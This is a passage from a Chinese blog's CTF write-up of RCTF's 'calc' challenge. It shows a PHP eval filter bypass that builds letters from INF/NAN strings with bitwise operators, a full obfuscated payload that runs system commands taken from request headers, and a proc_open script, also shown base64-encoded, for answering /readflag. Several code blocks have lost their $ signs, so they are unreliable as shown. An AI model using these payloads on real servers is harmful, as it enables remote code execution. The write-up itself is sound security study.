3rsh1
/single dog/college student/ctfer
3rsh1's Blog

[RCTF]wp

calc

绕过过滤执行命令的一道题目。关键是怎么绕过黑名单,直接贴出来源码:

<?php
error_reporting(0);
if(!isset(_GET['num'])){
    show_source(__FILE__);
}else{str = _GET['num'];blacklist = ['[a-z]', '[\x7f-\xff]', '\s',"'", '"', '`', '\[', '\]','\', '_', '\\\\','\^', ','];
    foreach (blacklist as blackitem) {
        if (preg_match('/' .blackitem . '/im', str)) {
            die("what are you want to do?");
        }
    }
    eval('echo '.str.';');
}
?>

过滤了所有的字母,以及取反构造时可能用到的不可见字符,单双引号等字符。直接pass掉了一些思路:取反,异或,汉字截取。所以需要想别的方法来构造字母,.是用来连接字符串的,同时因为php弱类型的特点若是一个数字和一个字符连接的话,数字会自动被转换成字符,那么同样的,若是两个数字来连接,同样会将两个数字转换为字符。

var_dump((1).(2));  //string(2) "12"
var_dump((1).(2){1})    //string(1) "2"

还需要注意的一点:

$a=$_GET['a'];
var_dump($a);   //这里返回的数值类型是string

get传值的时候,所有的内容都会被看作是字符类型。但是若是:

    eval('echo '.$str.';');

拼接一下的话,echo 和 传入的字符串拼接称为一整串新的字符串,双引号在执行命令的两侧,那么若是执行的命令内的数字没有被引号括起来的话,则会被认为是数字,而不是字符串。因此题目中给定的数字并不能直接做字符串使用。而是需要重新构造字符。对于一些符号也是,因为引号被禁掉了,所以没有办法把他强制转化成字符串,所以需要构造一下。脚本如下:

<?php

//@var_dump(((1/0).(2))); //INF
//@var_dump(((0/0).(1))); //NAN
//@var_dump(((999999999999999999999999999).(2))); //E
///"-"=>"-","@"=>"@","+"=>"+","*"=>"*","%"=>"%","("=>"(",")"=>")","!"=>"!","."=>"."

char = '1234567890INFAE';dic=array("I"=>"(((1/0).(2)){0})","N"=>"(((1/0).(2)){1})","F"=>"(((1/0).(2)){2})","E"=>"(((999999999999999999999999999).(2)){3})","A"=>"(((0/0).(1)){1})","1"=>"1","2"=>"2","3"=>"3","4"=>"4","5"=>"5","6"=>"6","7"=>"7","8"=>"8","9"=>"9","0"=>"0");
for(i = 0;i < strlen(char);i++){
    for(j = 0;j < strlen(char);j++){
        echo(char[i] .'&' .char[j] . ' '. (char[i] & char[j])."\n");
        echo(dic[char[i]]."&".dic[char[j]]."\n");
        echo(char[i] .'|' .char[j] . ' '. (char[i] | char[j])."\n");
        echo(dic[char[i]]."|".dic[char[j]]."\n");
    }
}

这只是一层构造,根据得出来的有用字符还可以进行二次构造。根据一些错误回显我们可以得到一些字母。
一些字母的构造:

q:  ((0/0).(0)){1}|((1).(0)){0}
A:  ((0/0).(0)){1}
v:  ((1/0).(0)){2}|((0).(0)){0}
p:  (((0/0).(0)){1}|((1).(0)){0})&(((1/0).(0)){2}|((0).(0)){0})
N:  ((0/0).(0)){0}
I:  ((1/0).(0)){0}
H:  ((0/0).(0)){0}&((1/0).(0)){0}
F:  ((1/0).(0)){2}
O:  ((1/0).(0)){0}|((1/0).(0)){2}
G:  ((0/0).(0)){1}|((1/0).(0)){2}
u:  (((0/0).(0)){1}|((1).(0)){0})|((4).(0)){0}
t:  ((((0/0).(0)){1}|((1).(0)){0})|((4).(0)){0})&(((1/0).(0)){2}|((0).(0)){0})
E:  ((((0/0).(0)){1}|((1).(0)){0})|((4).(0)){0})&(((1/0).(0)){0}|((1/0).(0)){2})
D:  ((0/0).(0)){0}&((((0/0).(0)){1}|((1).(0)){0})|((4).(0)){0})
L:  (((0/0).(0)){0}&((1/0).(0)){0})|(((0/0).(0)){0}&((((0/0).(0)){1}|((1).(0)){0})|((4).(0)){0}))
s:  ((0/0).(0)){1}|((2).(0)){0}
r:  (((0/0).(0)){1}|((2).(0)){0})&(((1/0).(0)){2}|((0).(0)){0})
y:  ((0/0).(0)){1}|((8).(0)){0}
x:  (((0/0).(0)){0}&((1/0).(0)){0})|((8).(0)){0}
C:  (((0/0).(0)){1}|((2).(0)){0})&(((0/0).(0)){1}|((1/0).(0)){2})
M:  (((0/0).(0)){0}&((1/0).(0)){0})|(((((0/0).(0)){1}|((1).(0)){0})|((4).(0)){0})&(((1/0).(0)){0}|((1/0).(0)){2}))

得到一些字母之后就可以构造payload了,因为若是直接构造要执行的命令会很长,考虑到之前整理的无参数getshell的笔记,可以构造如下:

?num=system(end(getallheaders()))
在请求头里加入:123:系统命令
或者:
('systEM')(('GEtALLHEADErs')(){123})
((((0/0).(0)){1}|((2).(0)){0}).(((0/0).(0)){1}|((8).(0)){0}).(((0/0).(0)){1}|((2).(0)){0}).(((((0/0).(0)){1}|((1).(0)){0})|((4).(0)){0})&(((1/0).(0)){2}|((0).(0)){0})).(((((0/0).(0)){1}|((1).(0)){0})|((4).(0)){0})&(((1/0).(0)){0}|((1/0).(0)){2})).((((0/0).(0)){0}&((1/0).(0)){0})|(((((0/0).(0)){1}|((1).(0)){0})|((4).(0)){0})&(((1/0).(0)){0}|((1/0).(0)){2}))))(((((0/0).(0)){1}|((1/0).(0)){2}).(((((0/0).(0)){1}|((1).(0)){0})|((4).(0)){0})&(((1/0).(0)){0}|((1/0).(0)){2})).(((((0/0).(0)){1}|((1).(0)){0})|((4).(0)){0})&(((1/0).(0)){2}|((0).(0)){0})).(((0/0).(0)){1}).((((0/0).(0)){0}&((1/0).(0)){0})|(((0/0).(0)){0}&((((0/0).(0)){1}|((1).(0)){0})|((4).(0)){0}))).((((0/0).(0)){0}&((1/0).(0)){0})|(((0/0).(0)){0}&((((0/0).(0)){1}|((1).(0)){0})|((4).(0)){0}))).(((0/0).(0)){0}&((1/0).(0)){0}).(((((0/0).(0)){1}|((1).(0)){0})|((4).(0)){0})&(((1/0).(0)){0}|((1/0).(0)){2})).(((0/0).(0)){1}).(((0/0).(0)){0}&((((0/0).(0)){1}|((1).(0)){0})|((4).(0)){0})).(((((0/0).(0)){1}|((1).(0)){0})|((4).(0)){0})&(((1/0).(0)){0}|((1/0).(0)){2})).((((0/0).(0)){1}|((2).(0)){0})&(((1/0).(0)){2}|((0).(0)){0})).(((0/0).(0)){1}|((2).(0)){0}))(){123})

getshell之后执行readflag文件发现需要做一个小运算题,据说是去年的rctf的某个小套路,脚本如下:

<?php
descriptorspec = array(
    0 => array("pipe", "r"),  // 标准输入,子进程从此管道中读取数据
    1 => array("pipe", "w"),  // 标准输出,子进程向此管道中写入数据
    2 => array("file", "/tmp/error-output.txt", "a") // 标准错误,写入到一个文件
);process = proc_open('/readflag', descriptorspec,pipes, cwd,env);

if (is_resource(process)) {question = fread(pipes[1],1024); // 获取程序问题question = fread(pipes[1],1024); // 获取程序问题question = trim(question);
    var_dump(question);
    eval('result = '.question.';');   // 计算问题结果
    fwrite(pipes[0],result);         // 回答程序问题
    fclose(pipes[0]);
    var_dump(result);

    // flag = stream_get_contents(pipes[1]);// getflag
    flag = fread(pipes[1],1024);
    flag = fread(pipes[1],1024);
    flag = fread(pipes[1],1024);

    fclose(pipes[1]);
    var_dump(flag);

    return_value = proc_close(process);

    echo "command returned $return_value\n";
}

?>

利用base64编码执行php语句:

php -c 1 -r "eval(base64_decode('JGQgPSBhcnJheSgKICAgIDAgPT4gYXJyYXkoInBpcGUiLCAiciIpLAogICAgMSA9PiBhcnJheSgicGlwZSIsICJ3IiksCiAgICAyID0+IGFycmF5KCJmaWxlIiwgIi90bXAvZXJyb3Itb3V0cHV0LnR4dCIsICJhIikKKTsKJHByb2Nlc3MgPSBwcm9jX29wZW4oJy9yZWFkZmxhZycsICRkLCAkcGlwZXMsICRjd2QsICRlbnYpOwppZiAoaXNfcmVzb3VyY2UoJHByb2Nlc3MpKSB7CiAgICAkcXVlc3Rpb24gPSBmcmVhZCgkcGlwZXNbMV0sMTAyNCk7CiAgICAkcXVlc3Rpb24gPSBmcmVhZCgkcGlwZXNbMV0sMTAyNCk7CiAgICAkcXVlc3Rpb24gPSB0cmltKCRxdWVzdGlvbik7CiAgICB2YXJfZHVtcCgkcXVlc3Rpb24pOwogICAgZXZhbCgnJHJlc3VsdCA9ICcuJHF1ZXN0aW9uLic7Jyk7CiAgICBmd3JpdGUoJHBpcGVzWzBdLCAkcmVzdWx0KTsKICAgIGZjbG9zZSgkcGlwZXNbMF0pOwogICAgdmFyX2R1bXAoJHJlc3VsdCk7CiAgICAvLyAkZmxhZyA9IHN0cmVhbV9nZXRfY29udGVudHMoJHBpcGVzWzFdKTsKICAgICRmbGFnID0gZnJlYWQoJHBpcGVzWzFdLDEwMjQpOwogICAgJGZsYWcgPSBmcmVhZCgkcGlwZXNbMV0sMTAyNCk7CiAgICAkZmxhZyA9IGZyZWFkKCRwaXBlc1sxXSwxMDI0KTsKCiAgICBmY2xvc2UoJHBpcGVzWzFdKTsKICAgIHZhcl9kdW1wKCRmbGFnKTsKICAgIAogICAgJHJldHVybl92YWx1ZSA9IHByb2NfY2xvc2UoJHByb2Nlc3MpOwoKICAgIGVjaG8gImNvbW1hbmQgcmV0dXJuZWQgJHJldHVybl92YWx1ZVxuIjsKfQ=='));"

发表评论

textsms
account_circle
email

3rsh1's Blog

[RCTF]wp
calc 绕过过滤执行命令的一道题目。关键是怎么绕过黑名单,直接贴出来源码: <?php error_reporting(0); if(!isset($_GET['num'])){ show_source(__FILE__); }else{ $str = …
扫描二维码继续阅读
2020-06-17